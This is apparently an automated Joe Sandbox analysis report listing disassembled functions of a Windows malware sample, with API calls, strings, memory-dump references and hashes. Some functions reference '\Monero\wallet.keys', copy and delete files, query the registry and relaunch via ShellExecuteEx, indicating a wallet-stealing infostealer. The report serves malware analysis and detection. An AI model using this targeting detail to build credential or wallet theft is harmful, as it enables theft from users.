Part of subcall function 0014A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0014A7E6

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Strings

v10, xrefs: 00139EA3
@, xrefs: 00139EF1
v20, xrefs: 00139E21
ERROR_RUN_EXTRACTOR, xrefs: 00139E67

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 7eb90e9b89763d384a29b534993632f024e2f672e4a943c763799e1dce5e5b7e
Instruction ID: 7038bf2bfc7427abaeacf13bc583d734c8a1148dbbfdd7456d2e4aa48f6c577b
Opcode Fuzzy Hash: 7eb90e9b89763d384a29b534993632f024e2f672e4a943c763799e1dce5e5b7e
Instruction Fuzzy Hash: E1617171A40208EFDB28EFA4CC96FED7775AF54301F418018F90A9F1A1EB746A06CB52

Function 001440B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0102D398,00000000,00020119,?), ref: 001440F4
RegQueryValueExA.ADVAPI32(?,0102DF38,00000000,00000000,00000000,000000FF), ref: 00144118
RegCloseKey.ADVAPI32(?), ref: 00144122
lstrcat.KERNEL32(?,00000000), ref: 00144147
lstrcat.KERNEL32(?,0102DF50), ref: 0014415B

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 29e2d75b7fd9bf0da058010bf59d33df303e5c3aef530fe40bc2d0cb0058da50
Instruction ID: a734ed2fd1ee1a097a9f475d120b8f46c851f932e21480fcf2a9de2c282f1892
Opcode Fuzzy Hash: 29e2d75b7fd9bf0da058010bf59d33df303e5c3aef530fe40bc2d0cb0058da50
Instruction Fuzzy Hash: 424197B6900108BBDB25FBA0DC46FEE737DAB98300F404558B61996191EB755BC88B92

Function 00147E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00147E37
RtlAllocateHeap.NTDLL(00000000), ref: 00147E3E
RegOpenKeyExA.ADVAPI32(80000002,0101B7A8,00000000,00020119,?), ref: 00147E5E
RegQueryValueExA.ADVAPI32(?,0102D338,00000000,00000000,000000FF,000000FF), ref: 00147E7F
RegCloseKey.ADVAPI32(?), ref: 00147E92

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: a256ca9c445b9d92c0f60aadcdce737f22ad2a5e07d905a09913ef7577de9ee9
Instruction ID: f0e75943dcaf5653ea6c23b2695d7ad4add3c6cb8df22fd049d33716689e563f
Opcode Fuzzy Hash: a256ca9c445b9d92c0f60aadcdce737f22ad2a5e07d905a09913ef7577de9ee9
Instruction Fuzzy Hash: 4A118CB1A44605EBD725CFD4DD49FBFBBBCEB48B01F104259FA19A7290D77458008BA2

Function 00149260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0102DC50,?,?,?,0014140C,?,0102DC50,00000000), ref: 0014926C
lstrcpyn.KERNEL32(0037AB88,0102DC50,0102DC50,?,0014140C,?,0102DC50), ref: 00149290
lstrlen.KERNEL32(?,?,0014140C,?,0102DC50), ref: 001492A7
wsprintfA.USER32 ref: 001492C7

Strings

%s%s, xrefs: 001492B5

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: ec9cf47b7f0e7f9b582fabc4dbcdfb0279ecf6b1f179e095f53319d5a06e1f6c
Instruction ID: 1e967eae37967a52b8ee682f1af7dd57be55cc5b57ff69056a217dddaf57ba53
Opcode Fuzzy Hash: ec9cf47b7f0e7f9b582fabc4dbcdfb0279ecf6b1f179e095f53319d5a06e1f6c
Instruction Fuzzy Hash: 5201E975500508FFCB15DFE8C984EAE7BB9EB88351F108148F9098B200C675AA40DB91

Function 001312A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001312B4
RtlAllocateHeap.NTDLL(00000000), ref: 001312BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 001312D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 001312F5
RegCloseKey.ADVAPI32(?), ref: 001312FF

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 4fb816a8615855df71086d984ce73cd5795c23a6fc1586832aec5b32eb3ab765
Instruction ID: 4a8a138109d914b3eaf4ae07531a1e05cde4aca994adeb4971589c7f8d2ac90e
Opcode Fuzzy Hash: 4fb816a8615855df71086d984ce73cd5795c23a6fc1586832aec5b32eb3ab765
Instruction Fuzzy Hash: 3F0131B9A40208BBDB14DFE0DC49FAEBBBCEB88701F108159FA0997280D6709A418F51

Function 0014C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0014C8EC
___crtLCMapStringA.LIBCMT ref: 0014C90C
___crtLCMapStringA.LIBCMT ref: 0014C931

Strings

, xrefs: 0014C896

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: f9113e336b9cd486864e56d0255b144a30f1cfb047453740d21c0bb8c2ca284a
Instruction ID: 8d69854233bbaf026fee0aaf42c58cd812b80edf92ba61a24234baec645c1ab9
Opcode Fuzzy Hash: f9113e336b9cd486864e56d0255b144a30f1cfb047453740d21c0bb8c2ca284a
Instruction Fuzzy Hash: 3941E77150179CAEDB258B24CC94FFBBBE8AF45708F1444E8E98A86192D3719A45CFA0

Function 00146630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00146663

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Part of subcall function 0014A9B0: lstrlen.KERNEL32(?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 0014A9C5
Part of subcall function 0014A9B0: lstrcpy.KERNEL32(00000000), ref: 0014AA04
Part of subcall function 0014A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0014AA12

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

ShellExecuteEx.SHELL32(0000003C), ref: 00146726
ExitProcess.KERNEL32 ref: 00146755

Strings

<, xrefs: 001466D9

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 80919e1c4e1c984cd21e60634b3fc8f1f32bda11f16e400b45cf924ff2dc3bea
Instruction ID: bf5de7e6702b7207384180e3ff25cf2055e89311a7a096dd3e39a374486d69ea
Opcode Fuzzy Hash: 80919e1c4e1c984cd21e60634b3fc8f1f32bda11f16e400b45cf924ff2dc3bea
Instruction Fuzzy Hash: 783130B1C41218ABDB15EB90DC91FDD777CAF54300F804199F209661A1DF746B89CF56

Function 001487C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00150E28,00000000,?), ref: 0014882F
RtlAllocateHeap.NTDLL(00000000), ref: 00148836
wsprintfA.USER32 ref: 00148850

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Strings

%dx%d, xrefs: 00148847

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 77e3dab9dcbe115983e122e35b03b407348abf8123a5fe80a23f9c60546845e9
Instruction ID: 31b6629b70f01d60b4855ae8c880609595a10628ad41cb290290c22ec4429c8a
Opcode Fuzzy Hash: 77e3dab9dcbe115983e122e35b03b407348abf8123a5fe80a23f9c60546845e9
Instruction Fuzzy Hash: DD2160B1A40604BFDB14DFD4DD45FAEBBB8FB48701F104159F609A7290C77999008BA2

Function 00148D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0014951E,00000000), ref: 00148D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00148D62
wsprintfW.USER32 ref: 00148D78

Strings

%hs, xrefs: 00148D6F

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: bbd8d19e24a39c1232fad58ca42e72cbb25dfbb28bdc9afe56fe9de742936de5
Instruction ID: ed93383a2f19e8a91af057838049a618d4898efddd721d9b5fa1ef4c098b34fe
Opcode Fuzzy Hash: bbd8d19e24a39c1232fad58ca42e72cbb25dfbb28bdc9afe56fe9de742936de5
Instruction Fuzzy Hash: 5DE08CB0A40208FBC720DBD4DC0AE6D7BFCEB88702F040094FD0D87280DA719E408BA2

Function 0013A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Part of subcall function 0014A9B0: lstrlen.KERNEL32(?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 0014A9C5
Part of subcall function 0014A9B0: lstrcpy.KERNEL32(00000000), ref: 0014AA04
Part of subcall function 0014A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0014AA12

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

Part of subcall function 00148B60: GetSystemTime.KERNEL32(00150E1A,01029918,001505AE,?,?,001313F9,?,0000001A,00150E1A,00000000,?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 00148B86

Part of subcall function 0014A920: lstrcpy.KERNEL32(00000000,?), ref: 0014A972
Part of subcall function 0014A920: lstrcat.KERNEL32(00000000), ref: 0014A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0013A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0013A3FF
lstrlen.KERNEL32(00000000), ref: 0013A6BC

Part of subcall function 0014A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0014A7E6

DeleteFileA.KERNEL32(00000000), ref: 0013A743

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: f747d216a86f717f3f7ff54b4b3a1ccdd7ac6af3c6533b0a7b926ee38028cd6c
Instruction ID: 7f95f7f3f540392f204e7d0e44053c303663e9d6c7cd29fc15c88978212ca0f0
Opcode Fuzzy Hash: f747d216a86f717f3f7ff54b4b3a1ccdd7ac6af3c6533b0a7b926ee38028cd6c
Instruction Fuzzy Hash: ADE11372850108ABEB15FBA4DC92EEE733CEF64305F918159F516760A1EF306A4DCB62

Function 0013D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Part of subcall function 0014A9B0: lstrlen.KERNEL32(?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 0014A9C5
Part of subcall function 0014A9B0: lstrcpy.KERNEL32(00000000), ref: 0014AA04
Part of subcall function 0014A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0014AA12

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

Part of subcall function 00148B60: GetSystemTime.KERNEL32(00150E1A,01029918,001505AE,?,?,001313F9,?,0000001A,00150E1A,00000000,?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 00148B86

Part of subcall function 0014A920: lstrcpy.KERNEL32(00000000,?), ref: 0014A972
Part of subcall function 0014A920: lstrcat.KERNEL32(00000000), ref: 0014A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0013D481
lstrlen.KERNEL32(00000000), ref: 0013D698
lstrlen.KERNEL32(00000000), ref: 0013D6AC
DeleteFileA.KERNEL32(00000000), ref: 0013D72B

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
